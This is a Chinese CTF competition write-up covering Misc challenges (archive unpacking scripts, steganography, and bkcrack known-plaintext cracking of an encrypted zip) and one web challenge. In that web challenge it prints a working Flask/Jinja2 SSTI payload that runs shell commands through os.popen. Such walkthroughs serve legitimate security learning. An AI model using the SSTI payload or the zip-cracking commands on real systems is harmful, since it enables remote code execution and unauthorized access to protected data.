菜鸟第一次打这种公开赛,感觉被橄榄了,第二天两个pyjail是一点办法都没有啊。。。

听C3师傅说这还不算是上强度的

而且准备转型Web却只做出来一个签到属于是。。有点丢人了

还是要多练,下次努力不啃Misc老底

MISC

简单算术:

根据提示,想想异或,直接尝试Cyberchef一把梭

image-20250117150938338

See anything in these pics?

附件给了一个压缩包和一张阿兹特克码

解析得到

image-20250117152921150

怀疑是压缩包的密码,带入解压压缩包,解压成功,得到一张jpg

YVL

看图片结合提示(图片不止两张)猜测一共有三张图,打开010查一下,发现PNG头image-20250117153320612

foremost提取一下发现是全黑的,猜测是crc校验错误,打开010发现报错检验猜想,最后随波逐流直接出(也可以直接随波逐流一把梭)

image-20250117184730714

00000149-修复高宽

压力大,写个脚本吧

先试着解压几个包,把给的密文base64解码后是FGFGFGFGFGFGFGFGFGFGFGFGFGFGFGFGFGFGFGFGFGFGFGFG

然后发现后面几个包的密文都是一样的,写个脚本直接爆

import zipfile
import re
zipname = "C:\\Users\\ayano\\Desktop\\output\\zip_100\\zip_99.zip"
while True:
    if zipname != "C:\\Users\\ayano\\Desktop\\output\\zip_100\\zip_1.zip":
        ts1 = zipfile.ZipFile(zipname)
        passwd =b'FGFGFGFGFGFGFGFGFGFGFGFGFGFGFGFGFGFGFGFGFGFGFGFG'
        ts1.extractall("C:\\Users\\ayano\\Desktop\\output\\zip_100\\",pwd=passwd)
        zipname = "C:\\Users\\ayano\\Desktop\\output\\zip_100\\"+ts1.namelist()[0]
    else:
        print("find")

结果发现第95包密码换了。解压显示失败,那么直接获取txt的内容解码后解压压缩包。

import zipfile
import os
import base64

def decode_password(file_path):
    with open(file_path, 'r') as f:
        encoded_password = f.read().strip()
    decoded_password = base64.b64decode(encoded_password).decode('utf-8')
    return decoded_password
def extract_zip(zip_file, password, extract_to):
    try:
        with zipfile.ZipFile(zip_file) as zf:
            zf.extractall(path=extract_to, pwd=password.encode())
            print(f"解压成功: {zip_file}{extract_to}")
            return zf.namelist()  
    except (zipfile.BadZipFile, RuntimeError) as e:
        print(f"解压失败: {zip_file}, 错误: {e}")
        return []
def recursive_extract(start_number=99,parent_dir='C:\\Users\\ayano\\Desktop\\output\\zip_100\\'):
    current_number = start_number
    while True:
        zip_filename = f"C:\\Users\\ayano\\Desktop\\output\\zip_100\\zip_{current_number}.zip"
        password_filename = f"C:\\Users\\ayano\\Desktop\\output\\zip_100\\password_{current_number}.txt"
        if not os.path.exists(zip_filename):
            print(f"文件不存在: {zip_filename}")
            break
        if not os.path.exists(password_filename):
            print(f"密码文件不存在: {password_filename}")
            break
        password = decode_password(password_filename)
        extracted_files = extract_zip(zip_filename, password,parent_dir)
        if not extracted_files:
            break
        next_zip_file = None
        for extracted_file in extracted_files:
            if extracted_file.endswith('.zip'):
                next_zip_file = extracted_file
                break
        if next_zip_file is None:
            break
        current_number -= 1
if __name__ == "__main__":
    recursive_extract()

解码后得到hintimage-20250117181031624

应该是让我们把每个压缩包的密码解码后组成hex码产生一个png图片

根据我们第一个密码FG…..,显然不是文件头的格式,那么从0开始到99提取文件内容

import os
import base64


def decode_password(file_path):
    with open(file_path, 'r') as f:
        encoded_password = f.read().strip()
    decoded_password = base64.b64decode(encoded_password).decode('utf-8')
    return decoded_password

def extract_decoded_passwords(start_number=0, output_file='decoded_passwords.txt'):
    with open(output_file, 'w') as output_f:
        current_number = start_number
        while True:
            password_filename = f"C:\\Users\\ayano\\Desktop\\output\\zip_100\\password_{current_number}.txt"
            if not os.path.exists(password_filename):
                print(f"密码文件不存在: {password_filename}")
                break
            decoded_password = decode_password(password_filename)
            output_f.write(f"{decoded_password}")
            print(f"密码_{current_number} 解码并保存。")
            current_number += 1


if __name__ == "__main__":
    extract_decoded_passwords(start_number=0, output_file='C:\\Users\\ayano\\Desktop\\1.txt')

最终得到的在010中粘贴为hex码,得到一个二维码,扫一下

Infinity

首先看提示是不知道有什么用的

拿到一张png,用010查一下看到zip头

image-20250119164920069

foremost提取一下

得到一个压缩包,在解压几次后发现是个嵌套的压缩包

image-20250119165111733一共有7z,tar,zip三种类型的压缩包

同时注意到文件名有点可疑,留意一下,可能后续要用

脚本:

import os
import zipfile
import tarfile
import py7zr
import shutil


def extract_zip(zip_path, extract_dir):
    """解压zip文件"""
    with zipfile.ZipFile(zip_path, 'r') as zip_ref:
        zip_ref.extractall(extract_dir)
        return zip_ref.namelist()  # 返回解压出来的文件列表


def extract_tar(tar_path, extract_dir):
    """解压tar文件"""
    with tarfile.open(tar_path, 'r') as tar_ref:
        tar_ref.extractall(extract_dir)
        return tar_ref.getnames()  # 返回解压出来的文件列表


def extract_7z(archive_path, extract_dir):
    """解压7z文件"""
    with py7zr.SevenZipFile(archive_path, mode='r') as archive_ref:
        archive_ref.extractall(extract_dir)
        return archive_ref.getnames()  # 返回解压出来的文件列表


def handle_compressed_file(file_path, extract_dir, output_txt):
    """处理压缩包文件:解压并记录文件名(去掉后缀并连接)"""
    if file_path.endswith('.zip'):
        extracted_files = extract_zip(file_path, extract_dir)
    elif file_path.endswith('.tar'):
        extracted_files = extract_tar(file_path, extract_dir)
    elif file_path.endswith('.7z'):
        extracted_files = extract_7z(file_path, extract_dir)
    else:
        print(f"不支持的压缩格式:{file_path}")
        return []

    # 记录去掉后缀并连接的文件名
    with open(output_txt, 'a') as output_file:
        for file_name in extracted_files:
            name_without_extension = os.path.splitext(file_name)[0]  # 去掉后缀
            output_file.write(f"{name_without_extension}\n")

    return extracted_files


def process_zip(zip_path, extract_dir, output_txt):
    """处理zip文件并递归解压其中的压缩包"""
    # 解压当前zip文件并返回解压后的文件列表
    extracted_files = extract_zip(zip_path, extract_dir)

    for extracted_file in extracted_files:
        extracted_file_path = os.path.join(extract_dir, extracted_file)

        if os.path.isdir(extracted_file_path):
            continue  # 跳过目录

        # 如果解压出来的是压缩包,再进行递归处理
        if extracted_file.endswith(('.zip', '.tar', '.7z')):
            # 解压嵌套压缩包并处理
            handle_compressed_file(extracted_file_path, extract_dir, output_txt)
            # 如果是嵌套的压缩包,再递归调用
            if extracted_file.endswith('.zip'):
                process_zip(extracted_file_path, extract_dir, output_txt)
            elif extracted_file.endswith('.tar'):
                process_tar(extracted_file_path, extract_dir, output_txt)
            elif extracted_file.endswith('.7z'):
                process_7z(extracted_file_path, extract_dir, output_txt)

        else:
            handle_compressed_file(extracted_file_path, extract_dir, output_txt)

    # 删除当前处理的压缩包
    if zip_path.endswith('.zip'):
        os.remove(zip_path)


def process_tar(tar_path, extract_dir, output_txt):
    """处理tar文件并递归解压其中的压缩包"""
    extracted_files = extract_tar(tar_path, extract_dir)
    for extracted_file in extracted_files:
        extracted_file_path = os.path.join(extract_dir, extracted_file)

        if os.path.isdir(extracted_file_path):
            continue

        if extracted_file.endswith(('.zip', '.tar', '.7z')):
            handle_compressed_file(extracted_file_path, extract_dir, output_txt)
            if extracted_file.endswith('.zip'):
                process_zip(extracted_file_path, extract_dir, output_txt)
            elif extracted_file.endswith('.tar'):
                process_tar(extracted_file_path, extract_dir, output_txt)
            elif extracted_file.endswith('.7z'):
                process_7z(extracted_file_path, extract_dir, output_txt)

    # 删除当前处理的压缩包
    if tar_path.endswith('.tar'):
        os.remove(tar_path)


def process_7z(archive_path, extract_dir, output_txt):
    """处理7z文件并递归解压其中的压缩包"""
    extracted_files = extract_7z(archive_path, extract_dir)
    for extracted_file in extracted_files:
        extracted_file_path = os.path.join(extract_dir, extracted_file)

        if os.path.isdir(extracted_file_path):
            continue

        if extracted_file.endswith(('.zip', '.tar', '.7z')):
            handle_compressed_file(extracted_file_path, extract_dir, output_txt)
            if extracted_file.endswith('.zip'):
                process_zip(extracted_file_path, extract_dir, output_txt)
            elif extracted_file.endswith('.tar'):
                process_tar(extracted_file_path, extract_dir, output_txt)
            elif extracted_file.endswith('.7z'):
                process_7z(extracted_file_path, extract_dir, output_txt)

    # 删除当前处理的压缩包
    if archive_path.endswith('.7z'):
        os.remove(archive_path)


def main():
    zip_path = r'C:\Users\ayano\Desktop\output\Infinity\output\zip\1.zip'
    extract_dir = r'C:\Users\ayano\Desktop\output\Infinity\output\zip\extracted'
    output_txt = r'C:\Users\ayano\Desktop\output\Infinity\output\zip\output.txt'

    if not os.path.exists(extract_dir):
        os.makedirs(extract_dir)

    # 开始处理压缩包
    with open(output_txt, 'w') as output_file:
        output_file.write("")
    process_zip(zip_path, extract_dir, output_txt)


if __name__ == "__main__":
    main()

再对提出来的文件名做两种处理

def reverse_file_names(input_txt, output_txt):
    """读取文件名并将其从后往前连接"""
    with open(input_txt, 'r') as infile:
        file_names = infile.readlines()

    # 去掉换行符并从后往前连接
    reversed_file_names = [name.strip() for name in reversed(file_names)]

    # 将连接后的文件名写入新文件
    with open(output_txt, 'w') as outfile:
        outfile.write("连接后的文件名(从后往前):\n")
        outfile.write("".join(reversed_file_names))  # 使用空格连接文件名
def remove_newlines_and_connect(input_txt, output_txt):
    """读取文件名并去掉换行符,连接所有文件名"""
    with open(input_txt, 'r') as infile:
        # 读取所有行并去掉换行符
        file_names = infile.read().splitlines()

    # 将文件名用空格连接
    connected_file_names = "".join(file_names)

    # 将连接后的文件名写入新文件
    with open(output_txt, 'w') as outfile:
        outfile.write("连接后的文件名(去掉换行符):\n")
        outfile.write(connected_file_names)  # 直接写入连接后的字符串

def main():
    input_txt = r'C:\Users\ayano\Desktop\output\Infinity\output\zip\output.txt'
    output1_txt = r'C:\Users\ayano\Desktop\output\Infinity\output\zip\output_reversed.txt'
    output2_txt = r'C:\Users\ayano\Desktop\output\Infinity\output\zip\output_simple.txt'
    reverse_file_names(input_txt, output1_txt)
    remove_newlines_and_connect(input_txt, output2_txt)

if __name__ == "__main__":
    main()

根据提示BASE58-Ripple、SM4-ECB

先后尝试顺序的和逆序的

最后逆序的得到以下

image-20250119165516321

看一眼是png的文件头,在010以16进制粘贴得到一张图片

flag

在谷歌搜图后判断出是 DataMatrix码

在线工具解决 image-20250119170503355

音频的秘密

解压得到一个wav文件

根据提示deepsound和弱口令

试一下123?

image-20250119181253709

运气比较好直接出来了

提取zip后发现需要密码打开

在010查过之后发现是真加密image-20250119181451213

image-20250119181524239

没有提示,直接尝试明文爆破,已知png文件头,以这个为明文开始爆

echo 89504E470D0A1A0A0000000D49484452 | xxd -r -ps > png_header
bkcrack -C flag.zip -c flag.png -p png_header -o 0

然后得到密钥 29d29517 0fa535a9 abc67696

bkcrack -C flag.zip -c flag.png -k 29d29517 0fa535a9 abc67696 -d flag.png

得到flag.png

flag通过stegsolve看一下有没有lsb隐写

893940eded9dc333fe7e104a38fccaf5

左上角一看肯定有lsb稳了,zsteg一跑

image-20250119203932034

WEB

easy_flask

根据提示想想flask,应该是SSTI漏洞

先试着打一下,看看有没有绕过

{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}

image-20250117162602849

直接爆了,那就ls换cat flag解决

image-20250117162704054